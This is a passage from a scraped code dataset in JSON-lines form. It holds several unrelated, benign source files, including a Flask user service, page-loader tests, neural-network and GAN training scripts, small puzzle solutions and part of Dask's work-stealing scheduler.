index=False)\n\ndf_merged.drop(df_merged.index, inplace=True)\ndf_report = None\nsys.exit()","repo_name":"jessejimz/mood-timeclock","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22291365800","text":"import logging\n\nfrom flask_login import current_user\nfrom marshmallow import EXCLUDE\n\nfrom app.blueprints.base import BaseService\nfrom app.blueprints.role import RoleManager\nfrom app.blueprints.user import user_serializer\nfrom app.blueprints.user import UserManager\nfrom app.blueprints.user.models import user_datastore\nfrom app.extensions import db\n\nlogger = logging.getLogger(__name__)\n\n\nclass UserService(BaseService):\n def __init__(self, *args, **kwargs):\n super(UserService, self).__init__(*args, **kwargs)\n self.manager = UserManager()\n self.role_manager = RoleManager()\n self.user_serializer = user_serializer\n\n def create(self, user_data):\n deserialized_data = self.user_serializer.load(user_data)\n\n try:\n role = self.role_manager.find_by_id(deserialized_data['role_id'])\n deserialized_data.pop('role_id')\n\n user = self.manager.get_last_record()\n fs_uniquifier = 1 if user is None else user.id + 1\n\n deserialized_data.update(\n {\n 'created_by': current_user,\n 'roles': [role],\n 'fs_uniquifier': fs_uniquifier,\n }\n )\n user = user_datastore.create_user(**deserialized_data)\n db.session.flush()\n db.session.refresh(user)\n except Exception as e:\n logger.debug(e)\n db.session.rollback()\n raise\n\n return user\n\n def find_by_id(self, user_id: int, *args):\n self.user_serializer.load({'id': user_id}, partial=True)\n return self.manager.find_by_id(user_id, *args)\n\n def save(self, user_id: int, **kwargs):\n kwargs['id'] = user_id\n deserialized_data = self.user_serializer.load(kwargs, unknown=EXCLUDE)\n\n user = self.manager.find_by_id(user_id)\n try:\n if 'role_id' in deserialized_data:\n user_datastore.remove_role_from_user(user, user.roles[0])\n role = self.role_manager.find_by_id(\n deserialized_data['role_id']\n )\n user_datastore.add_role_to_user(user, role)\n deserialized_data.pop('role_id')\n\n self.manager.save(user_id, **deserialized_data)\n db.session.flush()\n db.session.refresh(user)\n except Exception as e:\n logger.debug(e)\n raise\n\n return user\n\n def delete(self, user_id: int):\n self.user_serializer.load({'id': user_id}, partial=True)\n user = self.manager.delete(user_id)\n return user\n","repo_name":"Rubenrod18/pypotter_books","sub_path":"app/blueprints/user/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11284541985","text":"import tempfile\nimport page_loader as p\nfrom os.path import exists\nimport pytest\nfrom page_loader.logger import InternalError, ResponseError\n\n\ndef test_name():\n assert p.name('https://ru.hexlet.io/courses') == \\\n 'ru-hexlet-io-courses'\n assert p.name('https://vk.com/username') == 'vk-com-username'\n assert p.name('https://anything.com/pic.html') == 'anything-com-pic'\n assert p.name('http://test.com') == 'test-com'\n\n\ndef test_download_path(requests_mock):\n requests_mock.get('https://ru.hexlet.io/courses', text='data')\n with tempfile.TemporaryDirectory() as tmpdirname:\n path = p.download('https://ru.hexlet.io/courses', tmpdirname)\n assert path == tmpdirname + '/ru-hexlet-io-courses.html'\n\n\ndef test_download_file(requests_mock):\n text = open('tests/fixtures/expected.html').read()\n requests_mock.get('http://test.com', text=text)\n with tempfile.TemporaryDirectory() as tmpdirname:\n p.download('http://test.com', tmpdirname)\n expected = open('tests/fixtures/expected.html').read()\n current = open(tmpdirname + '/test-com.html').read()\n assert expected == current\n\n\ndef test_download_pics(requests_mock):\n text = open('tests/fixtures/pic.html').read()\n requests_mock.get('http://test.com/picture', text=text)\n pic = open('tests/fixtures/some/beautiful/pic.png', 'rb').read()\n requests_mock.get('http://test.com/some/beautiful/pic.png', content=pic)\n second_pic = open('tests/fixtures/pics.jpg', 'rb').read()\n requests_mock.get('http://test.com/any/pics.jpeg', content=second_pic)\n requests_mock.get(\"http://test.com/piclol.png\", content=second_pic)\n expected_pic = open('tests/fixtures/expected_pic.html', 'r').read()\n with tempfile.TemporaryDirectory() as tmpdirname:\n p.download('http://test.com/picture', tmpdirname)\n current = open(tmpdirname + '/test-com-picture.html').read()\n new_dir = tmpdirname + \"/test-com-picture_files\"\n new_file = new_dir + \"/test-com-some-beautiful-pic.png\"\n new_file1 = new_dir + \"/test-com-any-pics.jpeg\"\n new_file2 = new_dir + \"/test-com-piclol.png\"\n assert exists(new_dir)\n assert exists(new_file)\n assert exists(new_file1)\n assert exists(new_file2)\n assert expected_pic == current\n\n\ndef test_bad_images(requests_mock):\n text = open('tests/fixtures/bad_images.html').read()\n requests_mock.get('https://test.com/picture', text=text)\n expected = open('tests/fixtures/bad_images.html').read()\n with tempfile.TemporaryDirectory() as tmpdirname:\n p.download('https://test.com/picture', tmpdirname)\n current = open(tmpdirname + '/test-com-picture.html').read()\n new_dir = tmpdirname + \"/test-com-picture_files\"\n assert not exists(new_dir)\n assert expected == current\n\n\ndef test_with_link(requests_mock):\n text = open('tests/fixtures/page_with_link.html').read()\n requests_mock.get('https://test.com/links', text=text)\n js = open('tests/fixtures/runtime.js', 'rb').read()\n nodepng = open('tests/fixtures/nodejs.png', 'rb').read()\n css = open('tests/fixtures/application.css', 'rb').read()\n new_page = open('tests/fixtures/courses.html').read()\n requests_mock.get('https://test.com/courses', text=new_page)\n requests_mock.get('https://test.com/assets/application.css', content=css)\n nodejs_path = 'https://test.com/assets/professions/nodejs.png'\n requests_mock.get(nodejs_path, content=nodepng)\n requests_mock.get('https://test.com/packs/js/runtime.js', content=js)\n expected = open('tests/fixtures/expected_with_link.html').read()\n with tempfile.TemporaryDirectory() as tmpdirname:\n p.download('https://test.com/links', tmpdirname)\n current = open(tmpdirname + '/test-com-links.html').read()\n new_dir = tmpdirname + '/test-com-links_files'\n new_file = new_dir + \"/test-com-courses.html\"\n new_file1 = new_dir + \"/test-com-assets-application.css\"\n new_file2 = new_dir + \"/test-com-assets-professions-nodejs.png\"\n new_file3 = new_dir + \"/test-com-packs-js-runtime.js\"\n assert exists(new_dir)\n assert exists(new_file2)\n assert exists(new_file3)\n assert exists(new_file1)\n assert exists(new_file)\n assert expected == current\n\n\ndef test_error_code(requests_mock):\n requests_mock.get('https://test.com/404', status_code=404)\n requests_mock.get('https://test.com/301', status_code=301)\n requests_mock.get('https://test.com/403', status_code=403)\n requests_mock.get('https://test.com/204', status_code=204)\n requests_mock.get('https://test.com/401', status_code=401)\n requests_mock.get('https://test.com/305', status_code=305)\n with tempfile.TemporaryDirectory() as tmpdirname:\n with pytest.raises(ResponseError):\n p.download('https://test.com/404', tmpdirname)\n p.download('https://test.com/301', tmpdirname)\n p.download('https://test.com/403', tmpdirname)\n p.download('https://test.com/204', tmpdirname)\n p.download('https://test.com/401', tmpdirname)\n p.download('https://test.com/305', tmpdirname)\n\n\ndef test_internal_error(requests_mock):\n requests_mock.get('https://test.com/links')\n with pytest.raises(InternalError):\n p.download('https://test.com/links', '/lol/what')\n","repo_name":"SevaErshov/python-project-lvl3","sub_path":"tests/test_page_loader.py","file_name":"test_page_loader.py","file_ext":"py","file_size_in_byte":5363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2070046512","text":"from visualize import draw, meanError\nfrom model import CNN, ResNet, RiR\nfrom utils import *\nimport tensorlayer as tl\nimport tensorflow as tf\nimport numpy as np\n\nepoches = 1 # Epoches\niters = 400 # Iterators\nM = 2 # Monte-Carlo liked scalar\nrecord = {\n 'loss': { # Loss\n 'cnn': [],\n 'resnet': [],\n 'rir': []\n },\n 'acc': { # Accuracy\n 'cnn': [],\n 'resnet': [],\n 'rir': []\n }\n}\n\ndef recordTrainResult(cnn_loss, res_net_loss, rir_loss, cnn_acc, res_net_acc, rir_acc):\n \"\"\"\n Append the training result into the corresponding list\n\n Arg: cnn_loss - The loss value of usual CNN\n res_net_loss - The loss value of ResNet\n rir_loss - The loss value of ResNet in ResNet Network\n cnn_acc - The accuracy value of usual CNN\n res_net_acc - The accuracy value of ResNet\n rir_acc - The accuracy value of ResNet in ResNet Network\n \n \"\"\"\n global record\n record['loss']['cnn'].append(cnn_loss)\n record['loss']['resnet'].append(res_net_loss)\n record['loss']['rir'].append(rir_loss) \n record['acc']['cnn'].append(cnn_acc)\n record['acc']['resnet'].append(res_net_acc)\n record['acc']['rir'].append(rir_acc)\n\nif __name__ == '__main__':\n # Load data\n train_x, train_y, eval_x, eval_y, test_x, test_y = tl.files.load_mnist_dataset(shape=(-1, 28, 28, 1))\n #train_x, train_y, test_x, test_y = tl.files.load_cifar10_dataset()\n train_x -= 0.5\n #train_x = (train_x - 127.5) / 127.5\n train_y = to_categorical(train_y)\n\n # Construct the network\n imgs_ph = tf.placeholder(tf.float32, [None, 28, 28, 1])\n tags_ph = tf.placeholder(tf.float32, [None, 10])\n usual_cnn = CNN(imgs_ph, tags_ph)\n res_net = ResNet(imgs_ph, tags_ph)\n rir = RiR(imgs_ph, tags_ph)\n\n # Train toward usual CNN\n with tf.Session() as sess:\n for i in range(M):\n sess.run(tf.global_variables_initializer())\n print('Scalar: ', i)\n for j in range(epoches):\n for k in range(iters):\n imgs_batch, label_batch = next_batch(train_x, train_y, batch_size=32)\n feed_dict = {\n imgs_ph: imgs_batch,\n tags_ph: label_batch\n }\n _cnn_loss, _cnn_acc, _ = sess.run([usual_cnn.loss, usual_cnn.accuracy, usual_cnn.optimize], feed_dict=feed_dict)\n _res_net_loss, _res_net_acc, _ = sess.run([res_net.loss, res_net.accuracy, res_net.optimize], feed_dict=feed_dict)\n _rir_loss, _rir_acc, _ = sess.run([rir.loss, rir.accuracy, rir.optimize], feed_dict=feed_dict)\n if k % 10 == 0:\n print('iter: ', k, '\\tCNN loss: ', _cnn_loss, '\\tacc: ', _cnn_acc, '\\tResNet loss: ', _res_net_loss, \\\n '\\tacc: ', _res_net_acc, '\\tRiR loss: ', _rir_loss, '\\tacc: ', _rir_acc)\n recordTrainResult(_cnn_loss, _res_net_loss, _rir_loss, _cnn_acc, _res_net_acc, _rir_acc)\n\n # Visualize\n record = meanError(record, M)\n draw(record)","repo_name":"SunnerLi/RiR-Tensorflow","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"73938275228","text":"# This file is part of Geoff's Sound Change Applier, version 0.8\n# (August 2010). You can obtain the latest version of this program\n# from http://gesc19764.pwp.blueyonder.co.uk/sca.html\n\n\"\"\" Basic definitions for SCA; functions which are genearlly useful\nand not tied to a specific class.\n\"\"\"\n\nimport codecs\n\n##############################################################################\n\n\"\"\" A useful SCA_specific exception class. \"\"\"\n\nclass SCAException(Exception):\n def __init__(self, s, *args):\n if len(args) == 0: self.s = s\n else: self.s = s % args\n\n def __repr__(self): return self.s\n\n\"\"\" Strip a leading minus sign and digit, if present, from a\nstring. This is taken to represent an index, so positive values are\ndecremented by 1. So:\n\n'1foo' returns 'foo', 0\n'-1foo' returns 'foo', -1\n'foo' returns 'foo', None\n\"\"\"\n\ndef stripInt(s):\n if len(s) == 0: return \"\", None\n \n t = \"\"\n\n if s[0] == '-': t += s[0]; s = s[1:]\n if s[0] in '123456789': t += s[0]; s = s[1:]\n\n if t == '': return s, None\n\n return s, int(t)\n\n\"\"\" Add an ANSI colour codes to a string so that it wil be printed in\ncolour.\ns: the string\nn: the number of the code to add; should be between 30 and 47\nb: True to actually add the colours, False to leave the string alone\n\"\"\"\n\ndef cols(s, n, b = True):\n if not b: return s\n return \"\\033[1;%dm%s\\033[0m\" % (n, s)\n\n\"\"\" Read from a file and yield each line in turn with its number,\nsubject to the following:\n\n- Empty lines and lines which start with '#' are ignored\n- Spaces at each end are removed first of all\n- Anything following END, or in between SKIP and NOSKIP, will be\n ignored\n- Anything after a non-initial '!' will be thrown away\n- Backslashes can be used to join lines together\n\"\"\"\n\ndef readfile(file, enc = \"utf-8\"):\n f = codecs.open(file, \"r\", enc)\n\n s, n = \"\", 0\n\n for line in f.readlines():\n n += 1\n if len(line) == 0 or line[0] == '#': continue\n if line[-1] == '\\n': line = line[:-1]\n if len(line) == 0: continue\n\n line = line.strip()\n\n if \"!\" in line:\n i = line.index(\"!\")\n if i > 0 and line[i - 1] != '\\\\': line = line[:i]\n\n if line[-1] == '\\\\': s += line[:-1]; continue\n\n yield s + line, n\n\n s = \"\"\n\n\"\"\" Split a string, but treat escaped delimiters as text, not\ndelimiters. There may be a better way to so this with regexps, but\nthis will have to do for now.\n\"\"\"\n\ndef escapedSplit(s, delim = None, n = None, esc = '\\\\'):\n if delim is None: sep = ' '\n else: sep = delim\n\n if n is None: L = s.split(delim)\n else: L = s.split(delim, n)\n\n a = []\n\n for t in L:\n if len(a) > 0 and a[-1][-1] == esc:\n a[-1] = a[-1][:-1] + sep + t\n else:\n a.append(t)\n\n return a\n\n\"\"\" Parse a comma-separated list of ranges and return a list of the\nnumbers it represents. So:\n'1,2,3' -> 1, 2, 3\n'1-3,6' -> 1, 2, 3, 6\n\"\"\"\n\ndef makeNumList(arg, delim1 = ',', delim2 = '-'):\n L = []\n \n for s in arg.split(\",\"):\n if '-' not in s:\n L.append(int(s))\n continue\n\n n1, n2 = s.split(\"-\")\n for n in range(int(n1), int(n2) + 1):\n if n not in L: L.append(n)\n\n return L\n\n##############################################################################\n","repo_name":"kgaughan/sc","sub_path":"SCAdefs.py","file_name":"SCAdefs.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"45186802970","text":"# 1249 - ROT13\r\ndef main():\r\n from sys import stdout\r\n\r\n rot13 = str.maketrans(\r\n 'ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz',\r\n 'NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm')\r\n\r\n while True:\r\n try:\r\n message = input()\r\n except EOFError:\r\n break\r\n message = str.translate(message, rot13)\r\n stdout.write(message + '\\n')\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"bonizario/uri-solutions","sub_path":"problems/python/1249.py","file_name":"1249.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"28528426698","text":"# 11478번: 서로 다른 부분 문자열의 개수\n\ns = input()\nresult = []\n\nres = ''\nfor i in range(1, len(s)+1): # 5번 횟수\n n = 0\n for j in range(i, len(s)+1): # 1~5까지 j\n res = s[n:j] # j가 1~5인 이유는 [n:j]일 경우 n~j-1까지 범위의 문자를 출력하기 때문\n result.append(res)\n n+=1\n\nresult.append(s)\nresult = list(set(result))\nprint(len(result)) ","repo_name":"b1urrrr/Algorithm-Study","sub_path":"임서희/백준/17주차/11478번.py","file_name":"11478번.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"ko","doc_type":"code","stars":10,"dataset":"github-code","pt":"11"} +{"seq_id":"6078534049","text":"import argparse\nimport glob\nimport os\nfrom copy import deepcopy\nimport torch\nfrom torch import optim as optim\n\nfrom models import get_models\n\n\ndef parse_train_args(arguments_string=None):\n parser = argparse.ArgumentParser()\n\n # Data\n parser.add_argument('--data_path', default=\"/mnt/storage_ssd/datasets/FFHQ/FFHQ_1000/FFHQ_1000\",\n help=\"Path to train images\")\n parser.add_argument('--augmentation', default='color,translation,horizontal_flip', help=\"comma separated data augmentation ('color,translation,horizontal_flip')\")\n parser.add_argument('--limit_data', default=None, type=int, help=\"limit the size of the dataset\")\n parser.add_argument('--center_crop', default=None, help='center_crop_data to specified size', type=int)\n parser.add_argument('--gray_scale', action='store_true', default=False, help=\"Load data as grayscale\")\n\n # Model\n parser.add_argument('--gen_arch', default='DCGAN')\n parser.add_argument('--disc_arch', default='DCGAN')\n parser.add_argument('--im_size', default=128, type=int)\n parser.add_argument('--z_dim', default=128, type=int)\n parser.add_argument('--full_coords', action='store_true', default=False)\n parser.add_argument('--macro_patch_size', default=64, type=int)\n parser.add_argument('--micro_patch_size', default=32, type=int)\n\n\n # Training\n parser.add_argument('--batch_size', default=64, type=int, help=\"Real data batch size\")\n parser.add_argument('--loss_function', default=\"SoftHingeLoss\", type=str)\n parser.add_argument('--lrG', default=0.0002, type=float)\n parser.add_argument('--lrD', default=0.0002\n , type=float)\n parser.add_argument('--avg_update_factor', default=1, type=float,\n help='moving average factor weight of updating generator (1 means none)')\n parser.add_argument('--G_step_every', default=1, type=int, help=\"Update G only evry 'G_step_every' iterations\")\n parser.add_argument('--n_iterations', default=1000000, type=int)\n parser.add_argument('--no_fake_resample', default=False, action='store_true')\n\n # Evaluation\n parser.add_argument('--wandb', action='store_true', default=False, help=\"Otherwise use PLT localy\")\n parser.add_argument('--log_freq', default=1000, type=int)\n parser.add_argument('--save_every', action='store_true', default=False)\n\n # Other\n parser.add_argument('--project_name', default='GANs')\n parser.add_argument('--train_name', default=None)\n parser.add_argument('--n_workers', default=4, type=int)\n parser.add_argument('--resume_last_ckpt', action='store_true', default=False,\n help=\"Search for the latest ckpt in the same folder to resume training\")\n parser.add_argument('--device', default=\"cuda:0\")\n\n if arguments_string is not None:\n arguments_string = arguments_string.split()\n\n return parser.parse_args(arguments_string)\n\n\ndef copy_G_params(model):\n flatten = deepcopy(list(p.data for p in model.parameters()))\n return flatten\n\n\ndef load_params(model, new_param):\n for p, new_p in zip(model.parameters(), new_param):\n p.data.copy_(new_p)\n\n\nclass Prior:\n def __init__(self, prior_type, z_dim):\n self.prior_type = prior_type\n self.z_dim = z_dim\n self.z = None\n\n def sample(self, b):\n if self.prior_type == \"uniform\":\n z = torch.rand((b, self.z_dim))\n else:\n z = torch.randn((b, self.z_dim))\n return z\n\n\ndef save_model(prior, netG, netD, optimizerG, optimizerD, saved_model_folder, iteration, args):\n fname = f\"{saved_model_folder}/{'last' if not args.save_every else iteration}.pth\"\n torch.save({\"iteration\": iteration,\n 'prior': prior.z,\n 'netG': netG.state_dict(),\n 'netD': netD.state_dict(),\n \"optimizerG\": optimizerG.state_dict(),\n \"optimizerD\": optimizerD.state_dict()\n },\n fname)\n\n\ndef load_ckpt(ckpt_path, netG, netD, optimizerG, optimizerD, prior, args):\n ckpts = glob.glob(ckpt_path)\n if ckpts:\n latest_ckpt = max(ckpts, key=os.path.getctime)\n ckpt = torch.load(latest_ckpt, map_location=args.device)\n prior.z = ckpt['prior']\n netG.load_state_dict(ckpt['netG'])\n netD.load_state_dict(ckpt['netD'])\n optimizerG.load_state_dict(ckpt['optimizerG'])\n optimizerD.load_state_dict(ckpt['optimizerD'])\n start_iteration = ckpt['iteration']\n print(f\"Loaded ckpt of iteration: {start_iteration}\")\n return netG, netD, optimizerG, optimizerD, prior\n\n\ndef get_models_and_optimizers(args, device, saved_model_folder):\n prior = Prior(\"normal\", args.z_dim)\n\n netG, netD = get_models(args, device)\n netG.train()\n netD.train()\n\n optimizerG = optim.Adam(netG.parameters(), lr=args.lrG, betas=(0.5, 0.999))\n optimizerD = optim.Adam(netD.parameters(), lr=args.lrD, betas=(0.5, 0.999))\n\n start_iteration = 0\n if args.resume_last_ckpt:\n netG, netD, optimizerG, optimizerD, prior = load_ckpt(f'{saved_model_folder}/*.pth', netG, netD, optimizerG, optimizerD, prior, args)\n\n return prior, netG, netD, optimizerG, optimizerD, start_iteration","repo_name":"ariel415el/Pytorch-CoCoGAN","sub_path":"utils/train_utils.py","file_name":"train_utils.py","file_ext":"py","file_size_in_byte":5218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"16756852114","text":"from __future__ import annotations\n\nimport logging\nfrom collections import defaultdict, deque\nfrom math import log2\nfrom time import time\nfrom typing import Any, Container\n\nfrom tlz import topk\nfrom tornado.ioloop import PeriodicCallback\n\nimport dask\nfrom dask.utils import parse_timedelta\n\nfrom .comm.addressing import get_address_host\nfrom .core import CommClosedError\nfrom .diagnostics.plugin import SchedulerPlugin\nfrom .utils import log_errors, recursive_to_dict\n\n# Stealing requires multiple network bounces and if successful also task\n# submission which may include code serialization. Therefore, be very\n# conservative in the latency estimation to suppress too aggressive stealing\n# of small tasks\nLATENCY = 0.1\n\nlogger = logging.getLogger(__name__)\n\n\nLOG_PDB = dask.config.get(\"distributed.admin.pdb-on-err\")\n\n_WORKER_STATE_CONFIRM = {\n \"ready\",\n \"constrained\",\n \"waiting\",\n}\n\n_WORKER_STATE_REJECT = {\n \"memory\",\n \"executing\",\n \"long-running\",\n \"cancelled\",\n \"resumed\",\n}\n_WORKER_STATE_UNDEFINED = {\n \"released\",\n None,\n}\n\n\nclass WorkStealing(SchedulerPlugin):\n def __init__(self, scheduler):\n self.scheduler = scheduler\n # { level: { task states } }\n self.stealable_all = [set() for i in range(15)]\n # { worker: { level: { task states } } }\n self.stealable = dict()\n # { task state: (worker, level) }\n self.key_stealable = dict()\n\n self.cost_multipliers = [1 + 2 ** (i - 6) for i in range(15)]\n self.cost_multipliers[0] = 1\n\n for worker in scheduler.workers:\n self.add_worker(worker=worker)\n\n callback_time = parse_timedelta(\n dask.config.get(\"distributed.scheduler.work-stealing-interval\"),\n default=\"ms\",\n )\n # `callback_time` is in milliseconds\n pc = PeriodicCallback(callback=self.balance, callback_time=callback_time * 1000)\n self._pc = pc\n self.scheduler.periodic_callbacks[\"stealing\"] = pc\n self.scheduler.add_plugin(self)\n self.scheduler.extensions[\"stealing\"] = self\n self.scheduler.events[\"stealing\"] = deque(maxlen=100000)\n self.count = 0\n # { task state: }\n self.in_flight = dict()\n # { worker state: occupancy }\n self.in_flight_occupancy = defaultdict(lambda: 0)\n\n self.scheduler.stream_handlers[\"steal-response\"] = self.move_task_confirm\n\n def _to_dict(self, *, exclude: Container[str] = None) -> dict[str, Any]:\n \"\"\"\n A very verbose dictionary representation for debugging purposes.\n Not type stable and not inteded for roundtrips.\n\n Parameters\n ----------\n comm:\n exclude:\n A list of attributes which must not be present in the output.\n\n See also\n --------\n Client.dump_cluster_state\n \"\"\"\n return recursive_to_dict(\n {\n \"stealable_all\": self.stealable_all,\n \"stealable\": self.stealable,\n \"key_stealable\": self.key_stealable,\n \"in_flight\": self.in_flight,\n \"in_flight_occupancy\": self.in_flight_occupancy,\n },\n exclude=exclude,\n )\n\n def log(self, msg):\n return self.scheduler.log_event(\"stealing\", msg)\n\n def add_worker(self, scheduler=None, worker=None):\n self.stealable[worker] = [set() for i in range(15)]\n\n def remove_worker(self, scheduler=None, worker=None):\n del self.stealable[worker]\n\n def teardown(self):\n self._pc.stop()\n\n def transition(\n self, key, start, finish, compute_start=None, compute_stop=None, *args, **kwargs\n ):\n if finish == \"processing\":\n ts = self.scheduler.tasks[key]\n self.put_key_in_stealable(ts)\n elif start == \"processing\":\n ts = self.scheduler.tasks[key]\n self.remove_key_from_stealable(ts)\n d = self.in_flight.pop(ts, None)\n if d:\n thief = d[\"thief\"]\n victim = d[\"victim\"]\n self.in_flight_occupancy[thief] -= d[\"thief_duration\"]\n self.in_flight_occupancy[victim] += d[\"victim_duration\"]\n if not self.in_flight:\n self.in_flight_occupancy.clear()\n\n def recalculate_cost(self, ts):\n if ts not in self.in_flight:\n self.remove_key_from_stealable(ts)\n self.put_key_in_stealable(ts)\n\n def put_key_in_stealable(self, ts):\n cost_multiplier, level = self.steal_time_ratio(ts)\n if cost_multiplier is not None:\n ws = ts.processing_on\n worker = ws.address\n self.stealable_all[level].add(ts)\n self.stealable[worker][level].add(ts)\n self.key_stealable[ts] = (worker, level)\n\n def remove_key_from_stealable(self, ts):\n result = self.key_stealable.pop(ts, None)\n if result is None:\n return\n\n worker, level = result\n try:\n self.stealable[worker][level].remove(ts)\n except KeyError:\n pass\n try:\n self.stealable_all[level].remove(ts)\n except KeyError:\n pass\n\n def steal_time_ratio(self, ts):\n \"\"\"The compute to communication time ratio of a key\n\n Returns\n -------\n cost_multiplier: The increased cost from moving this task as a factor.\n For example a result of zero implies a task without dependencies.\n level: The location within a stealable list to place this value\n \"\"\"\n split = ts.prefix.name\n if split in fast_tasks or split in self.scheduler.unknown_durations:\n return None, None\n\n if not ts.dependencies: # no dependencies fast path\n return 0, 0\n\n ws = ts.processing_on\n compute_time = ws.processing[ts]\n if compute_time < 0.005: # 5ms, just give up\n return None, None\n\n nbytes = ts.get_nbytes_deps()\n transfer_time = nbytes / self.scheduler.bandwidth + LATENCY\n cost_multiplier = transfer_time / compute_time\n if cost_multiplier > 100:\n return None, None\n\n level = int(round(log2(cost_multiplier) + 6))\n if level < 1:\n level = 1\n\n return cost_multiplier, level\n\n def move_task_request(self, ts, victim, thief) -> str:\n try:\n if ts in self.in_flight:\n return \"in-flight\"\n stimulus_id = f\"steal-{time()}\"\n\n key = ts.key\n self.remove_key_from_stealable(ts)\n logger.debug(\n \"Request move %s, %s: %2f -> %s: %2f\",\n key,\n victim,\n victim.occupancy,\n thief,\n thief.occupancy,\n )\n\n victim_duration = victim.processing[ts]\n\n thief_duration = self.scheduler.get_task_duration(\n ts\n ) + self.scheduler.get_comm_cost(ts, thief)\n\n self.scheduler.stream_comms[victim.address].send(\n {\"op\": \"steal-request\", \"key\": key, \"stimulus_id\": stimulus_id}\n )\n self.in_flight[ts] = {\n \"victim\": victim, # guaranteed to be processing_on\n \"thief\": thief,\n \"victim_duration\": victim_duration,\n \"thief_duration\": thief_duration,\n \"stimulus_id\": stimulus_id,\n }\n\n self.in_flight_occupancy[victim] -= victim_duration\n self.in_flight_occupancy[thief] += thief_duration\n return stimulus_id\n except CommClosedError:\n logger.info(\"Worker comm %r closed while stealing: %r\", victim, ts)\n return \"comm-closed\"\n except Exception as e:\n logger.exception(e)\n if LOG_PDB:\n import pdb\n\n pdb.set_trace()\n raise\n\n async def move_task_confirm(self, *, key, state, stimulus_id, worker=None):\n try:\n ts = self.scheduler.tasks[key]\n except KeyError:\n logger.debug(\"Key released between request and confirm: %s\", key)\n return\n try:\n d = self.in_flight.pop(ts)\n if d[\"stimulus_id\"] != stimulus_id:\n self.log((\"stale-response\", key, state, worker, stimulus_id))\n self.in_flight[ts] = d\n return\n except KeyError:\n self.log((\"already-aborted\", key, state, stimulus_id))\n return\n\n thief = d[\"thief\"]\n victim = d[\"victim\"]\n\n logger.debug(\"Confirm move %s, %s -> %s. State: %s\", key, victim, thief, state)\n\n self.in_flight_occupancy[thief] -= d[\"thief_duration\"]\n self.in_flight_occupancy[victim] += d[\"victim_duration\"]\n\n if not self.in_flight:\n self.in_flight_occupancy.clear()\n\n if self.scheduler.validate:\n assert ts.processing_on == victim\n\n try:\n _log_msg = [key, state, victim.address, thief.address, stimulus_id]\n\n if ts.state != \"processing\":\n self.log((\"not-processing\", *_log_msg))\n old_thief = thief.occupancy\n new_thief = sum(thief.processing.values())\n old_victim = victim.occupancy\n new_victim = sum(victim.processing.values())\n thief.occupancy = new_thief\n victim.occupancy = new_victim\n self.scheduler.total_occupancy += (\n new_thief - old_thief + new_victim - old_victim\n )\n elif (\n state in _WORKER_STATE_UNDEFINED\n or state in _WORKER_STATE_CONFIRM\n and thief.address not in self.scheduler.workers\n ):\n self.log(\n (\n \"reschedule\",\n thief.address not in self.scheduler.workers,\n *_log_msg,\n )\n )\n self.scheduler.reschedule(key)\n # Victim had already started execution\n elif state in _WORKER_STATE_REJECT:\n self.log((\"already-computing\", *_log_msg))\n # Victim was waiting, has given up task, enact steal\n elif state in _WORKER_STATE_CONFIRM:\n self.remove_key_from_stealable(ts)\n ts.processing_on = thief\n duration = victim.processing.pop(ts)\n victim.occupancy -= duration\n self.scheduler.total_occupancy -= duration\n if not victim.processing:\n self.scheduler.total_occupancy -= victim.occupancy\n victim.occupancy = 0\n thief.processing[ts] = d[\"thief_duration\"]\n thief.occupancy += d[\"thief_duration\"]\n self.scheduler.total_occupancy += d[\"thief_duration\"]\n self.put_key_in_stealable(ts)\n\n self.scheduler.send_task_to_worker(thief.address, ts)\n self.log((\"confirm\", *_log_msg))\n else:\n raise ValueError(f\"Unexpected task state: {state}\")\n except Exception as e:\n logger.exception(e)\n if LOG_PDB:\n import pdb\n\n pdb.set_trace()\n raise\n finally:\n self.scheduler.check_idle_saturated(thief)\n self.scheduler.check_idle_saturated(victim)\n\n def balance(self):\n s = self.scheduler\n\n def combined_occupancy(ws):\n return ws.occupancy + self.in_flight_occupancy[ws]\n\n def maybe_move_task(level, ts, sat, idl, duration, cost_multiplier):\n occ_idl = combined_occupancy(idl)\n occ_sat = combined_occupancy(sat)\n\n if occ_idl + cost_multiplier * duration <= occ_sat - duration / 2:\n self.move_task_request(ts, sat, idl)\n log.append(\n (\n start,\n level,\n ts.key,\n duration,\n sat.address,\n occ_sat,\n idl.address,\n occ_idl,\n )\n )\n s.check_idle_saturated(sat, occ=occ_sat)\n s.check_idle_saturated(idl, occ=occ_idl)\n\n with log_errors():\n i = 0\n idle = s.idle.values()\n saturated = s.saturated\n if not idle or len(idle) == len(s.workers):\n return\n\n log = []\n start = time()\n\n if not s.saturated:\n saturated = topk(10, s.workers.values(), key=combined_occupancy)\n saturated = [\n ws\n for ws in saturated\n if combined_occupancy(ws) > 0.2 and len(ws.processing) > ws.nthreads\n ]\n elif len(s.saturated) < 20:\n saturated = sorted(saturated, key=combined_occupancy, reverse=True)\n if len(idle) < 20:\n idle = sorted(idle, key=combined_occupancy)\n\n for level, cost_multiplier in enumerate(self.cost_multipliers):\n if not idle:\n break\n for sat in list(saturated):\n stealable = self.stealable[sat.address][level]\n if not stealable or not idle:\n continue\n\n for ts in list(stealable):\n if ts not in self.key_stealable or ts.processing_on is not sat:\n stealable.discard(ts)\n continue\n i += 1\n if not idle:\n break\n\n if _has_restrictions(ts):\n thieves = [ws for ws in idle if _can_steal(ws, ts, sat)]\n 